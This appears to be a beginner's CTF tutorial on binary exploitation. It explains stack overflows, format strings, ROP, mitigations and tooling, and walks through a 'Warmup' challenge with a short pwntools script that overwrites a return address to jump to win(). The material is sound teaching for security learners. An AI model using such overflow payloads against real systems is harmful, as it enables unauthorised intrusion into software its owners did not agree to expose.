Skip to main content

Beginner's Guide on Pwn Challenges

·1873 words·9 mins
CTF Pwm CTF

πŸ‘‹ Start Here β€” Your First Ever Pwn Challenge
#

Never done a “pwn” challenge before? You’re in the right place. This guide assumes you know nothing about binary exploitation. By the end you’ll understand what pwn is, how to actually solve one, and why these skills matter in the real world. Take your time β€” pwn has a reputation for being scary, but the first one always clicks once you see it.


1. What even is “pwn”?
#

Pwn (also called binary exploitation) is the art of making a program do something its author never intended β€” usually by feeding it weird input that breaks the assumptions the code was written with.

In these challenges, there’s a small program running on a server. You connect to it over the network, send it cleverly-crafted input, and if you do it right, the program hands you a flag (a secret string like OPUCC{...}) or even a shell (a command prompt on the server, so you can just run cat flag.txt).

🧠 The core idea: programs assume input will be “normal.” A name field expects a name. A number field expects a number. Pwn is what happens when you send input that is technically allowed but totally unexpected β€” and the program mishandles it in a way that lets you take control.

Think of it like a bank teller with a script. The script says “take the customer’s form and file it in the drawer.” But what if your form is 10 metres long and overflows out of the drawer, knocks over the key rack, and one key lands in your hand? You didn’t break in β€” the system handed you the key because nobody checked how big your form was. That “form too big for the drawer” is the most classic pwn bug: a buffer overflow.


2. Why should I care? (pwn in real life)
#

This isn’t just a game. The exact same bugs you’ll exploit here have caused some of the biggest security incidents in history:

  • Heartbleed (2014) β€” a buffer over-read in OpenSSL leaked private keys and passwords from millions of servers.
  • Morris Worm (1988) β€” one of the first internet worms spread using a buffer overflow.
  • Countless phone/console jailbreaks & browser exploits chain together the exact techniques in challenges

Who uses these skills professionally?

RoleHow they use it
Security researchers / bug bounty huntersFind memory-corruption bugs in real software and get paid to report them.
Exploit developers / red teamsBuild proof-of-concept exploits to test whether a company can actually be broken into.
Defenders (blue team)You can’t defend against what you don’t understand. Every mitigation you’ll hear about (NX, ASLR, canaries…) exists because of these attacks.
Malware analysts / reverse engineersUnderstanding how programs get hijacked is half the job.

So “when do you use this in real life?” β†’ whenever software written in C/C++ (or any language without memory safety) handles untrusted input. Operating systems, browsers, network services, IoT devices, cars, medical devices β€” all still ship memory-corruption bugs today. Learning pwn is learning how software really fails.


3. The tools you’ll need
#

You’ll want a Linux environment (a real Linux machine, a VM, or WSL on Windows β€” macOS works for scripting but the binaries are Linux). Install these:

# pwntools β€” the Swiss-army knife for pwn (Python). This is the big one.
python3 -m pip install --user pwntools

# a debugger + a plugin that makes it human-friendly
sudo apt install gdb
# then install pwndbg (recommended):  https://github.com/pwndbg/pwndbg

# helper tools you'll meet later
python3 -m pip install --user ROPgadget      # finds "gadgets"

The tools you’ll actually touch, and what each is for:

ToolWhat it doesYou’ll use it for
nc (netcat)Connect to the challenge server and type at itEvery challenge, to poke the service by hand first
fileTells you what kind of file the binary isFirst look at any binary
checksec (comes with pwntools)Lists which defenses the binary has on/offDeciding which attack to use
gdb + pwndbgRun the binary step-by-step, watch memory & registersFiguring out why your input breaks it, finding offsets
pwntoolsPython library to connect, send bytes, pack addressesWriting your exploit script (solve.py)

4. How to solve any pwn challenge β€” the universal workflow
#

Every pwn solve, from the easiest to the hardest, follows the same loop:

  1. Look at the binary. Run file ./chall and checksec ./chall. What defenses are on? (This tells you what’s possible.)
  2. Run it / connect to it. Use nc <host> <port>. What does it ask for? What does it print? Just play with it like a normal user first.
  3. Find the bug. Where does it read your input? Does it check the length? Does it print your input back? Does it re-use something after freeing it? The bug is almost always “the program trusts your input too much.”
  4. Understand what the bug gives you. A crash? The ability to overwrite something? A memory leak? This is your primitive (your super-power).
  5. Turn the primitive into a win. Redirect the program to a “win” function, or leak the flag, or pop a shell.
  6. Script it with pwntools. Do it by hand once, then automate so it’s repeatable β€” and works against the remote server.

πŸ”‘ A useful habit: make it crash first. If you can make the program crash (segfault) with your input, you’ve proven you’re corrupting something the program depends on. Turning a crash into control is the whole game.


5. Full worked example β€” solving “Warmup” (challenge 1)
#

Let’s actually solve the easiest one together, start to finish. (We’ll show the method, not the real flag β€” that’s for you to capture!)

Step 1 β€” recon.

$ file warmup
warmup: ELF 64-bit LSB executable, x86-64, ... not stripped
$ checksec warmup
    Stack:    No canary found        # <- no "cookie" guarding the stack
    NX:       NX enabled
    PIE:      No PIE (0x400000)       # <- addresses are FIXED, not random

“No canary” + “No PIE” is a giant hint: this is a classic stack buffer overflow β†’ jump somewhere fixed.

Step 2 β€” run it.

$ nc <host> 7001
=== Operation Cyberheroes :: Warmup ===
Tell me your name, recruit:
AAAA
Welcome aboard, AAAA

It reads a “name.” Let’s abuse that.

Step 3 β€” find the bug. The program reads your name into a small buffer on the stack but reads way more bytes than fit. The stack also holds the return address β€” the “where do I go when this function finishes?” pointer. If your input is long enough, it overflows past the buffer and overwrites that return address. Whatever you put there is where the program jumps next. 🀯

Step 4 β€” the primitive. You control the return address = you control what code runs next.

Step 5 β€” the win. Peeking at the binary (e.g. in gdb or with nm warmup | grep win), there’s a function called win() that reads the flag β€” but the program never calls it. So: overflow the buffer, overwrite the return address with the address of win(), and the program will “return” straight into it.

Two things you need:

  • The offset: how many bytes until you reach the return address. You find this with a cyclic pattern: send a unique-looking string, see which 8 bytes land in the return address at the crash, and pwntools tells you the offset.
  • The target: the address of win() (fixed, because “No PIE”).

Step 6 β€” script it.

from pwn import *

elf = context.binary = ELF("./warmup")
io  = remote("HOST", 7001)          # or process("./warmup") to test locally

payload  = b"A" * 72                 # padding: fill the buffer + saved base pointer
payload += p64(elf.symbols["win"])   # overwrite return address with win()

io.sendlineafter(b"recruit:", payload)
print(io.recvall().decode())         # <- the flag prints here

Run it, and win() prints the flag. You just did your first pwn. πŸŽ‰

Everything harder is a variation on this same six-step loop β€” the bug changes, the primitive changes, but the process is identical.


6. The scary words, explained simply (glossary)
#

You’ll see these everywhere. Here they are in one line each:

  • Stack β€” a scratchpad region of memory where functions keep their local variables and the return address. Overflowing a local variable can smash the return address.
  • Buffer overflow β€” writing more data than a buffer can hold, so it spills into whatever’s next in memory. The original pwn bug.
  • Return address β€” the pointer that says “where to continue after this function.” Control it β†’ control the program.
  • Shellcode β€” raw machine-code bytes you write and inject, usually to spawn a shell.
  • Format string bug β€” passing your input directly as a printf format (like printf(buf) instead of printf("%s", buf)), which lets you read or write memory with specifiers like %p and %n.
  • libc β€” the C standard library. It’s full of useful functions like system() β€” great for “borrowing” code.
  • GOT / PLT β€” a table of pointers to library functions. If it’s writable, you can overwrite an entry to hijack a call.
  • Heap β€” memory you get from malloc(). Bugs like use-after-free (using memory you already freed) let you corrupt it.
  • ROP (Return-Oriented Programming) β€” when you can’t inject code, you chain together tiny snippets already in the program (called gadgets) to do what you want.

The “defenses” (mitigations) and what beating them means
#

Modern systems add protections. Each challenge here turns some off so you learn one idea at a time:

  • Canary β€” a secret value placed before the return address; if your overflow changes it, the program aborts. (You’ll leak or avoid it in harder challenges.)
  • NX (No-eXecute) β€” marks the stack non-executable so injected shellcode won’t run.
  • PIE / ASLR β€” randomize where things are loaded so you can’t hardcode addresses. The counter is a leak: read an address out of the program first, then do math. (This is why leaking is such a fundamental skill.)

7. Beginner tips & common mistakes
#

  • βœ… Test locally first. Each challenge ships the binary and a fake flag.txt. Get your exploit working on your own machine, then point it at the server (just change process("./chall") to remote(host, port)).
  • βœ… Send bytes, not text. Addresses aren’t typeable characters. Use pwntools’ p64(0x401234) to pack an address into raw bytes.
  • βœ… sendlineafter is your friend. It waits for a prompt, then sends β€” keeps you in sync with the program.
  • ⚠️ Off-by-8 offsets. On 64-bit, everything is 8 bytes. If your offset is slightly wrong, you’ll overwrite the saved base pointer instead of the return address. Use a cyclic pattern to get it exact.
  • ⚠️ Don’t guess addresses when ASLR is on. If checksec shows PIE enabled, you must leak an address first. No shortcuts.
  • ⚠️ The remote uses the shipped libc.

8. Where to go after these
#

If you catch the bug (the fun kind), here’s the classic path onward:

  • pwn.college β€” free, structured, university-grade course. Start here.
  • ROP Emporium β€” teaches ROP step by step.
  • LiveOverflow on YouTube β€” the friendliest intro-to-binary-exploitation series.
  • how2heap (by Shellphish) β€” the reference for heap techniques.
  • Nightmare (guyinatuxedo) β€” a huge set of worked CTF pwn writeups.

Good luck, recruit. Go smash some stacks. 🚩

β€” Operation Cyberheroes